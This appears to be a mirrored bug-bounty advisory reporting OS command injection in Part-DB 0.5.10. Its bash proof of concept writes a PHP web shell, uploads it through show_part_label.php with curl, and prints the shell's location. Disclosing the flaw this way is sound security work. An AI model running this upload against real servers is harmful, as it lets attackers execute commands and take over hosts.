Lucene search

K
huntrDskmehra3E91685F-CFB9-4EE4-ABAF-9B712A8FD5A6
HistoryFeb 15, 2022 - 11:36 a.m.

OS Command Injection in part-db/part-db

2022-02-1511:36:18
dskmehra
www.huntr.dev
11
os command injection
shell path
web security
vulnerability
attack
trust relationships
server
exploitation
data exfiltration
privilege escalation

EPSS

0.089

Percentile

94.6%

Description

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. Very often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization.

Proof of Concept

#!/bin/bash

host=127.0.0.1/Part-DB-0.5.10 #WEBHOST

echo "<?php system(id); ?>">POC.phtml  #PHP Shell Code

result=`curl -i -s -X POST -F "[email protected]" "http://$host/show_part_label.php" | grep -o -P '(?<=value="data/media/labels/).*(?=" > <p)'`

rm POC.phtml

echo Shell Location : "$host/data/media/labels/$result"

Shell PATH

Impact

If successfully exploited OS Command Injection could allow an attacker or malicious user command execution on the target with the same permissions as the exploited web server. Depending on the configuration of the target, and level of security hardening that has been conducted (or lack there of) successful exploitation of this vulnerability could, potentially result in the attacker gaining complete control of the vulnerable system, exfiltrating sensitive data or performing privilege escalation / lateral movement.

EPSS

0.089

Percentile

94.6%